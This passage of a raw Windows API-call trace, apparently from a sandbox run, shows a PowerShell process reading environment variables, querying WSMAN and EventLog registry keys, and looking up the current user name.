nBufferLength=0x105, lpBuffer=0x24d0f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0084.206] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0084.206] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.206] CoTaskMemFree (pv=0x1b75b370) [0084.208] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0084.208] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.208] CoTaskMemFree (pv=0x1b75b370) [0084.209] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0084.209] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.209] CoTaskMemFree (pv=0x1b75b370) [0084.211] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0084.211] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.211] CoTaskMemFree (pv=0x1b75b370) [0084.223] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0084.223] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.223] CoTaskMemFree (pv=0x1b75b370) [0084.225] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0084.225] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.225] CoTaskMemFree (pv=0x1b75b370) [0084.225] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0084.225] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.226] CoTaskMemFree (pv=0x1b75b370) [0084.230] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d338 | out: phkResult=0x24d338*=0x32c) returned 0x0 [0084.233] RegQueryInfoKeyW (in: hKey=0x32c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x24d23c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d238, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x24d23c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d238*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.233] CoTaskMemFree (pv=0x0) [0084.233] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.233] RegEnumValueW (in: hKey=0x32c, dwIndex=0x0, lpValueName=0x1705a0, lpcchValueName=0x24d2e8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x24d2e8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0084.233] CoTaskMemFree (pv=0x1705a0) [0084.233] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.233] RegEnumValueW (in: hKey=0x32c, dwIndex=0x1, lpValueName=0x1705a0, lpcchValueName=0x24d2e8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x24d2e8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0084.234] CoTaskMemFree (pv=0x1705a0) [0084.234] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.234] RegEnumValueW (in: hKey=0x32c, dwIndex=0x2, lpValueName=0x1705a0, lpcchValueName=0x24d2e8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x24d2e8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0084.234] CoTaskMemFree (pv=0x1705a0) [0084.234] RegQueryValueExW (in: hKey=0x32c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x24d2cc, lpData=0x0, lpcbData=0x24d2c8*=0x0 | out: lpType=0x24d2cc*=0x1, lpData=0x0, lpcbData=0x24d2c8*=0x8) returned 0x0 [0084.234] CoTaskMemAlloc (cb=0xc) returned 0x1b759180 [0084.234] RegQueryValueExW (in: hKey=0x32c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x24d29c, lpData=0x1b759180, lpcbData=0x24d298*=0x8 | out: lpType=0x24d29c*=0x1, lpData="2.0", lpcbData=0x24d298*=0x8) returned 0x0 [0084.234] CoTaskMemFree (pv=0x1b759180) [0084.281] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d288 | out: phkResult=0x24d288*=0x304) returned 0x0 [0084.281] RegQueryInfoKeyW (in: hKey=0x304, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x24d18c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d188, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x24d18c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d188*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.282] CoTaskMemFree (pv=0x0) [0084.282] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.282] RegEnumValueW (in: hKey=0x304, dwIndex=0x0, lpValueName=0x1705a0, lpcchValueName=0x24d238, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x24d238, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0084.282] CoTaskMemFree (pv=0x1705a0) [0084.282] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.282] RegEnumValueW (in: hKey=0x304, dwIndex=0x1, lpValueName=0x1705a0, lpcchValueName=0x24d238, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x24d238, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0084.282] CoTaskMemFree (pv=0x1705a0) [0084.282] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.282] RegEnumValueW (in: hKey=0x304, dwIndex=0x2, lpValueName=0x1705a0, lpcchValueName=0x24d238, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x24d238, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0084.282] CoTaskMemFree (pv=0x1705a0) [0084.282] RegQueryValueExW (in: hKey=0x304, lpValueName="StackVersion", lpReserved=0x0, lpType=0x24d21c, lpData=0x0, lpcbData=0x24d218*=0x0 | out: lpType=0x24d21c*=0x1, lpData=0x0, lpcbData=0x24d218*=0x8) returned 0x0 [0084.282] CoTaskMemAlloc (cb=0xc) returned 0x1b758f40 [0084.282] RegQueryValueExW (in: hKey=0x304, lpValueName="StackVersion", lpReserved=0x0, lpType=0x24d1ec, lpData=0x1b758f40, lpcbData=0x24d1e8*=0x8 | out: lpType=0x24d1ec*=0x1, lpData="2.0", lpcbData=0x24d1e8*=0x8) returned 0x0 [0084.282] CoTaskMemFree (pv=0x1b758f40) [0084.284] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0084.284] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.284] CoTaskMemFree (pv=0x1b75b370) [0084.292] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0084.292] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.292] CoTaskMemFree (pv=0x1b75b370) [0084.312] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2b8 | out: phkResult=0x24d2b8*=0x308) returned 0x0 [0084.313] RegQueryInfoKeyW (in: hKey=0x308, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x24d22c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d228, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x24d22c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d228*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.313] CoTaskMemFree (pv=0x0) [0084.314] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.314] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x0, lpName=0x1705a0, lpcchName=0x24d2b8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x24d2b8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.315] CoTaskMemFree (pv=0x1705a0) [0084.315] CoTaskMemFree (pv=0x0) [0084.315] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.315] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x1, lpName=0x1705a0, lpcchName=0x24d2b8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x24d2b8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.315] CoTaskMemFree (pv=0x1705a0) [0084.315] CoTaskMemFree (pv=0x0) [0084.315] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.315] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x2, lpName=0x1705a0, lpcchName=0x24d2b8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x24d2b8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.315] CoTaskMemFree (pv=0x1705a0) [0084.315] CoTaskMemFree (pv=0x0) [0084.315] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.315] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x3, lpName=0x1705a0, lpcchName=0x24d2b8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x24d2b8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.315] CoTaskMemFree (pv=0x1705a0) [0084.315] CoTaskMemFree (pv=0x0) [0084.315] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.315] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x4, lpName=0x1705a0, lpcchName=0x24d2b8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x24d2b8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.315] CoTaskMemFree (pv=0x1705a0) [0084.315] CoTaskMemFree (pv=0x0) [0084.315] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.315] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x5, lpName=0x1705a0, lpcchName=0x24d2b8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x24d2b8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.316] CoTaskMemFree (pv=0x1705a0) [0084.316] CoTaskMemFree (pv=0x0) [0084.316] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.316] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x6, lpName=0x1705a0, lpcchName=0x24d2b8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x24d2b8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.316] CoTaskMemFree (pv=0x1705a0) [0084.316] CoTaskMemFree (pv=0x0) [0084.316] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.316] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x7, lpName=0x1705a0, lpcchName=0x24d2b8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x24d2b8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.316] CoTaskMemFree (pv=0x1705a0) [0084.316] CoTaskMemFree (pv=0x0) [0084.316] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.316] RegEnumKeyExW (in: hKey=0x308, dwIndex=0x8, lpName=0x1705a0, lpcchName=0x24d2b8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x24d2b8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.316] CoTaskMemFree (pv=0x1705a0) [0084.316] CoTaskMemFree (pv=0x0) [0084.316] RegOpenKeyExW (in: hKey=0x308, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x30c) returned 0x0 [0084.316] RegOpenKeyExW (in: hKey=0x30c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x0) returned 0x2 [0084.317] RegOpenKeyExW (in: hKey=0x308, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x320) returned 0x0 [0084.317] RegOpenKeyExW (in: hKey=0x320, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x0) returned 0x2 [0084.317] RegOpenKeyExW (in: hKey=0x308, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x334) returned 0x0 [0084.317] RegOpenKeyExW (in: hKey=0x334, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x0) returned 0x2 [0084.317] RegOpenKeyExW (in: hKey=0x308, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x338) returned 0x0 [0084.317] RegOpenKeyExW (in: hKey=0x338, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x0) returned 0x2 [0084.317] RegOpenKeyExW (in: hKey=0x308, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x33c) returned 0x0 [0084.317] RegOpenKeyExW (in: hKey=0x33c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x0) returned 0x2 [0084.318] RegOpenKeyExW (in: hKey=0x308, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x340) returned 0x0 [0084.318] RegOpenKeyExW (in: hKey=0x340, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x0) returned 0x2 [0084.318] RegOpenKeyExW (in: hKey=0x308, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x0) returned 0x5 [0084.410] RegOpenKeyExW (in: hKey=0x308, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x344) returned 0x0 [0084.410] RegOpenKeyExW (in: hKey=0x344, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x0) returned 0x2 [0084.410] RegOpenKeyExW (in: hKey=0x308, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x348) returned 0x0 [0084.410] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d318 | out: phkResult=0x24d318*=0x34c) returned 0x0 [0084.411] RegCloseKey (hKey=0x34c) returned 0x0 [0084.411] RegCloseKey (hKey=0x308) returned 0x0 [0084.412] RegCloseKey (hKey=0x348) returned 0x0 [0084.433] CoTaskMemAlloc (cb=0x804) returned 0x1b763090 [0084.433] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b763090, nSize=0x24d528 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0x24d528) returned 0x1 [0084.434] CoTaskMemFree (pv=0x1b763090) [0084.436] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.436] GetUserNameW (in: lpBuffer=0x1705a0, pcbBuffer=0x24d568 | out: lpBuffer="aETAdzjz", pcbBuffer=0x24d568) returned 1 [0084.436] CoTaskMemFree (pv=0x1705a0) [0084.512] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d268 | out: phkResult=0x24d268*=0x350) returned 0x0 [0084.512] RegQueryInfoKeyW (in: hKey=0x350, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x24d1dc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d1d8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x24d1dc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d1d8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.512] CoTaskMemFree (pv=0x0) [0084.512] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.512] RegEnumKeyExW (in: hKey=0x350, dwIndex=0x0, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.513] CoTaskMemFree (pv=0x1705a0) [0084.513] CoTaskMemFree (pv=0x0) [0084.513] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.513] RegEnumKeyExW (in: hKey=0x350, dwIndex=0x1, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.513] CoTaskMemFree (pv=0x1705a0) [0084.513] CoTaskMemFree (pv=0x0) [0084.513] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.513] RegEnumKeyExW (in: hKey=0x350, dwIndex=0x2, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.513] CoTaskMemFree (pv=0x1705a0) [0084.513] CoTaskMemFree (pv=0x0) [0084.513] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.513] RegEnumKeyExW (in: hKey=0x350, dwIndex=0x3, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.513] CoTaskMemFree (pv=0x1705a0) [0084.513] CoTaskMemFree (pv=0x0) [0084.513] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.513] RegEnumKeyExW (in: hKey=0x350, dwIndex=0x4, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.513] CoTaskMemFree (pv=0x1705a0) [0084.513] CoTaskMemFree (pv=0x0) [0084.513] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.513] RegEnumKeyExW (in: hKey=0x350, dwIndex=0x5, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.513] CoTaskMemFree (pv=0x1705a0) [0084.513] CoTaskMemFree (pv=0x0) [0084.514] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.514] RegEnumKeyExW (in: hKey=0x350, dwIndex=0x6, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.514] CoTaskMemFree (pv=0x1705a0) [0084.514] CoTaskMemFree (pv=0x0) [0084.514] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.514] RegEnumKeyExW (in: hKey=0x350, dwIndex=0x7, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.514] CoTaskMemFree (pv=0x1705a0) [0084.514] CoTaskMemFree (pv=0x0) [0084.514] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.514] RegEnumKeyExW (in: hKey=0x350, dwIndex=0x8, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.514] CoTaskMemFree (pv=0x1705a0) [0084.514] CoTaskMemFree (pv=0x0) [0084.514] RegOpenKeyExW (in: hKey=0x350, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x354) returned 0x0 [0084.514] RegOpenKeyExW (in: hKey=0x354, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.514] RegOpenKeyExW (in: hKey=0x350, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x358) returned 0x0 [0084.515] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.515] RegOpenKeyExW (in: hKey=0x350, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x35c) returned 0x0 [0084.515] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.515] RegOpenKeyExW (in: hKey=0x350, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x360) returned 0x0 [0084.515] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.515] RegOpenKeyExW (in: hKey=0x350, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x364) returned 0x0 [0084.515] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.515] RegOpenKeyExW (in: hKey=0x350, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x368) returned 0x0 [0084.516] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.516] RegOpenKeyExW (in: hKey=0x350, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x5 [0084.531] RegOpenKeyExW (in: hKey=0x350, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x36c) returned 0x0 [0084.531] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x0) returned 0x2 [0084.531] RegOpenKeyExW (in: hKey=0x350, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x370) returned 0x0 [0084.531] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d2c8 | out: phkResult=0x24d2c8*=0x374) returned 0x0 [0084.532] RegCloseKey (hKey=0x374) returned 0x0 [0084.532] RegCloseKey (hKey=0x350) returned 0x0 [0084.532] RegCloseKey (hKey=0x370) returned 0x0 [0084.533] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d268 | out: phkResult=0x24d268*=0x370) returned 0x0 [0084.533] RegQueryInfoKeyW (in: hKey=0x370, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x24d1dc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d1d8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x24d1dc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x24d1d8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.533] CoTaskMemFree (pv=0x0) [0084.534] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.534] RegEnumKeyExW (in: hKey=0x370, dwIndex=0x0, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.534] CoTaskMemFree (pv=0x1705a0) [0084.534] CoTaskMemFree (pv=0x0) [0084.534] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0084.534] RegEnumKeyExW (in: hKey=0x370, dwIndex=0x1, lpName=0x1705a0, lpcchName=0x24d268, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x24d268, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0084.534] CoTaskMemFree (pv=0x1705a0) [0084.534] CoTaskMemFree (pv=0x0) [0084.534] 